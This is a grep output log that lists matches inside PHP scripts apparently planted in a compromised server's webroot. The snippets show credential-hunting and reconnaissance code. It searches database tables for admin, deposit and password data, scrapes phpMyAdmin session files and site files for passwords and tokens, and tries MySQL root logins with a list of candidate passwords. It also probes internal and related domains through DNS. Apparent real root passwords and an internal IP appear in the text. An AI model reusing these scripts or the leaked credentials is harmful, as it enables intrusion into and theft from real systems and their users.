ZZGREP_9f24092
scanned_files=253
MATCH /www/wwwroot/167.172.95.167/marketWnC7rCEh/sosmed/zzsc24127b_091f2567.php :: ion_schema.tables WHERE table_name REGEXP "multiweb|admin|depo|withdraw|setting|temp_password"',50); echo "-- select chat db: ".(@mysqli_select_db($c,'chat')?"OK(db=chat)":"FAIL:".mysqli_error($c)).
MATCH /www/wwwroot/167.172.95.167/marketWnC7rCEh/sosmed/zzsc24127b_091f2567.php :: ion_schema.tables WHERE table_name REGEXP "multiweb|admin|depo|withdraw|setting|temp_password"',50); mysqli_close($c); } else { echo "MARKETING_CONNECT_FAIL ".mysqli_connect_error()."\n"; } // codeb
MATCH /www/wwwroot/167.172.95.167/marketWnC7rCEh/sosmed/zzsc24127b_091f2567.php :: thname()); if($cc===false) continue; if(preg_match_all('/multiweb|dbip|dbpass|money_db|10\.182\.0\.55/i',$cc,$m,PREG_OFFSET_CAPTURE)){ foreach($m[0] as $h){ if($n>=40) break 2; $off=$h[1]; $line
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt1_8a35992396cf.php :: ); $hits=0; $kw='/pmaAuth|phpMyAdmin|pma_|PMA_|mysql|money|wg4d|admin|useradmin|admintoken|password|passwd|token|root|panel|BT-|ssid|pmaUsername/i'; $sess_dump=0; foreach($sess as $it){ $p='/tmp/'.$
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt1_8a35992396cf.php ::  $ctx=array(); if(preg_match_all('/.{0,50}(pmaAuth|phpMyAdmin|useradmin|admintoken|money_db|money_|wg4d|panel|mysql|passwd|password).{0,70}/is',$d,$m2)){ foreach($m2[0] as $c){ $ctx[]=
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt1_8a35992396cf.php :: ay(); if(preg_match_all('/.{0,50}(pmaAuth|phpMyAdmin|useradmin|admintoken|money_db|money_|wg4d|panel|mysql|passwd|password).{0,70}/is',$d,$m2)){ foreach($m2[0] as $c){ $ctx[]=substr(pv($
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt1_8a35992396cf.php :: es ---------- */ echo "\n##### KEYWORD SCAN (main-site bridge) #####\n"; $kw2='/money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com|wg4dkicau\.com/i'; $roots=array('/tmp',dirna
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt1_8a35992396cf.php :: ---- */ echo "\n##### KEYWORD SCAN (main-site bridge) #####\n"; $kw2='/money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com|wg4dkicau\.com/i'; $roots=array('/tmp',dirname(__DIR_
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt1_8a35992396cf.php ::  if($khit<=25){ $ctx=array(); if(preg_match_all('/.{0,60}(money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com).{0,80}/is',$d,$m3)){ foreach($m
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt1_8a35992396cf.php :: it<=25){ $ctx=array(); if(preg_match_all('/.{0,60}(money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com).{0,80}/is',$d,$m3)){ foreach($m3[0] as $
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt1_8a35992396cf.php :: ray('root','root',null), array('root','MyzzrK6PycDGek8B',null), array('root','AlunaRyvia88',null), array('www','',null), ); foreach($cands as $cr){ list($u,$p,$db)=$cr; $c=@mysqli_connect('loca
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt4_477ead658fcf.php :: pv(substr($ln,0,220))."\n"; if(++$n>=12) break; } } if(preg_match_all('/money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com|wg4dkicau\.com/i',$d,$m)) echo " BRIDGE_KW=
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt4_477ead658fcf.php :: ($ln,0,220))."\n"; if(++$n>=12) break; } } if(preg_match_all('/money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com|wg4dkicau\.com/i',$d,$m)) echo " BRIDGE_KW=".implode
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt4_477ead658fcf.php :: ord grep #####\n"; $kw='/phpmyadmin|\/www\/server\/panel|admin_path|default\.db|money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com/i'; $skip=array('/rtp/slot','/marketWnC7rCEh
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt4_477ead658fcf.php :: #####\n"; $kw='/phpmyadmin|\/www\/server\/panel|admin_path|default\.db|money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com/i'; $skip=array('/rtp/slot','/marketWnC7rCEh/sosmed',
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt4_477ead658fcf.php ::  if(preg_match('/.{0,50}(phpmyadmin|\/www\/server\/panel|admin_path|default\.db|money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com).{0,70}/is',$d,$m)) $ml=pv($m[0]); e
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt4_477ead658fcf.php :: match('/.{0,50}(phpmyadmin|\/www\/server\/panel|admin_path|default\.db|money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com).{0,70}/is',$d,$m)) $ml=pv($m[0]); echo "HIT 
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt6_c01abfc24b69.php :: .'/'.$e); if($d!==false && preg_match('/(api[_ ]?key|pass(word)?|secret|token|money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com)/i',$d)){ $n++; $ml=''; if(preg_
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt6_c01abfc24b69.php ::  if($d!==false && preg_match('/(api[_ ]?key|pass(word)?|secret|token|money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com)/i',$d)){ $n++; $ml=''; if(preg_match('/.
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt6_c01abfc24b69.php :: +; $ml=''; if(preg_match('/.{0,60}(api[_ ]?key|pass(word)?|secret|token|money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com).{0,80}/is',$d,$m)) $ml=pv($m[0]); echo 
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzbt6_c01abfc24b69.php :: l=''; if(preg_match('/.{0,60}(api[_ ]?key|pass(word)?|secret|token|money_db|money_user|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com).{0,80}/is',$d,$m)) $ml=pv($m[0]); echo "HIT $e :
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzc24139a.php :: bridge keywords #####\n"; $B='/www/wwwroot/167.172.95.167/keluaranbwg77'; $kw='/money_db|money_user|AlunaRyvia88|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com|wg4dkicau\.com|multiweb|temp_pa
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzc24139a.php :: ywords #####\n"; $B='/www/wwwroot/167.172.95.167/keluaranbwg77'; $kw='/money_db|money_user|AlunaRyvia88|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com|wg4dkicau\.com|multiweb|temp_password|ad
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzc24139a.php :: #\n"; $B='/www/wwwroot/167.172.95.167/keluaranbwg77'; $kw='/money_db|money_user|AlunaRyvia88|10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com|wg4dkicau\.com|multiweb|temp_password|admin_ip|admi
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzc24139a.php :: 10\.182\.0\.55|\/home\/wg4d|almalv46|auth\.gacooor\.com|wg4dkicau\.com|multiweb|temp_password|admin_ip|admintoken/i'; $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($B,FilesystemIter
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzc24139a.php :: |\/home\/wg4d|almalv46|auth\.gacooor\.com|wg4dkicau\.com|multiweb|temp_password|admin_ip|admintoken/i'; $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($B,FilesystemIterator::SKIP_DOT
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzc24139a.php :: wg4d|almalv46|auth\.gacooor\.com|wg4dkicau\.com|multiweb|temp_password|admin_ip|admintoken/i'; $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($B,FilesystemIterator::SKIP_DOTS)); $hit
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php :: "; echo "uname=".@php_uname('s').'/'.@php_uname('r')."\n"; $names=array( 'www.wg4dkicau.com','wg4dkicau.com','www.wg4dkicau.org','wg4dkicau.org', 'bu.nahbisa.com','nahbisa.com','payment.nahbisa.com
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php :: .@php_uname('s').'/'.@php_uname('r')."\n"; $names=array( 'www.wg4dkicau.com','wg4dkicau.com','www.wg4dkicau.org','wg4dkicau.org', 'bu.nahbisa.com','nahbisa.com','payment.nahbisa.com','onpay.nahbisa
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php :: bisa.com','onpay.nahbisa.com','api.nahbisa.com','cpanel.bu.nahbisa.com', 'mail.wg4dkicau.com','ftp.wg4dkicau.com','cpanel.wg4dkicau.com','webmail.wg4dkicau.com','direct.wg4dkicau.com','origin.wg4dkic
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php :: bisa.com','api.nahbisa.com','cpanel.bu.nahbisa.com', 'mail.wg4dkicau.com','ftp.wg4dkicau.com','cpanel.wg4dkicau.com','webmail.wg4dkicau.com','direct.wg4dkicau.com','origin.wg4dkicau.com','ns1.wg4dkic
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php :: com','cpanel.bu.nahbisa.com', 'mail.wg4dkicau.com','ftp.wg4dkicau.com','cpanel.wg4dkicau.com','webmail.wg4dkicau.com','direct.wg4dkicau.com','origin.wg4dkicau.com','ns1.wg4dkicau.com','ns2.wg4dkicau.
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php :: com', 'mail.wg4dkicau.com','ftp.wg4dkicau.com','cpanel.wg4dkicau.com','webmail.wg4dkicau.com','direct.wg4dkicau.com','origin.wg4dkicau.com','ns1.wg4dkicau.com','ns2.wg4dkicau.com', 'mail.wg4dkicau.o
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php :: com','ftp.wg4dkicau.com','cpanel.wg4dkicau.com','webmail.wg4dkicau.com','direct.wg4dkicau.com','origin.wg4dkicau.com','ns1.wg4dkicau.com','ns2.wg4dkicau.com', 'mail.wg4dkicau.org','ftp.wg4dkicau.org'
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php :: ','cpanel.wg4dkicau.com','webmail.wg4dkicau.com','direct.wg4dkicau.com','origin.wg4dkicau.com','ns1.wg4dkicau.com','ns2.wg4dkicau.com', 'mail.wg4dkicau.org','ftp.wg4dkicau.org','cpanel.wg4dkicau.org'
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php :: com','webmail.wg4dkicau.com','direct.wg4dkicau.com','origin.wg4dkicau.com','ns1.wg4dkicau.com','ns2.wg4dkicau.com', 'mail.wg4dkicau.org','ftp.wg4dkicau.org','cpanel.wg4dkicau.org','webmail.wg4dkicau.
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php :: cau.com','direct.wg4dkicau.com','origin.wg4dkicau.com','ns1.wg4dkicau.com','ns2.wg4dkicau.com', 'mail.wg4dkicau.org','ftp.wg4dkicau.org','cpanel.wg4dkicau.org','webmail.wg4dkicau.org', 'almalv46.us-
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php ::  'localhost' ); $rnd='zz'.substr(bin2hex(random_bytes(5)),0,8); $names[]=$rnd.'.wg4dkicau.com'; $names[]=$rnd.'.nahbisa.com'; echo "== GHOSTBYNAME (system resolver) ==\n"; foreach($names as $n){ $t
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php ::  {$ms}ms\n"; } echo "== DNS_GET_RECORD A/AAAA key names ==\n"; $key=array('www.wg4dkicau.com','wg4dkicau.com','www.wg4dkicau.org','wg4dkicau.org','bu.nahbisa.com','nahbisa.com','payment.nahbisa.com',
MATCH /www/wwwroot/167.172.95.167/rtp/slot/zzdns24231_376418f7.php :: echo "== DNS_GET_RECORD A/AAAA key names ==\n"; $key=array('www.wg4dkicau.com','wg4dkicau.com','www.wg4dkicau.org','wg4dkicau.org','bu.nahbisa.com','nahbisa.com','payment.nahbisa.com','onpay.nahbisa.c
matches=40